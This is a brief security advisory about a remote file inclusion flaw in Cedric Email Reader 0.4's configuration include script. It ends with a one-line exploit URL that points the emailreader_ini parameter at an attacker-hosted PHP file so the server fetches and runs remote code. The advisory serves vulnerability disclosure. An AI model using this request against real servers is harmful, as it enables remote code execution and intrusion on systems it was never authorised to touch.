Cedric Email Reader 0.4 - Global Configuration Script Remote File Inclusion

source: https://www.securityfocus.com/bid/6820/info

It has been reported that Cedric Email Reader is prone to an issue that may allow remote attackers to include malicious files located on remote servers. This issue is present in the 'emailreader_execute_on_each_page.inc.php' script.

Under some circumstances, it is possible for remote attackers to influence the include path for a configuration file to point to an external file on a remote server.

If the remote file is a malicious PHP script, this may be exploited to execute arbitrary system commands in the context of the web server.

It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed.

http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker]/code.php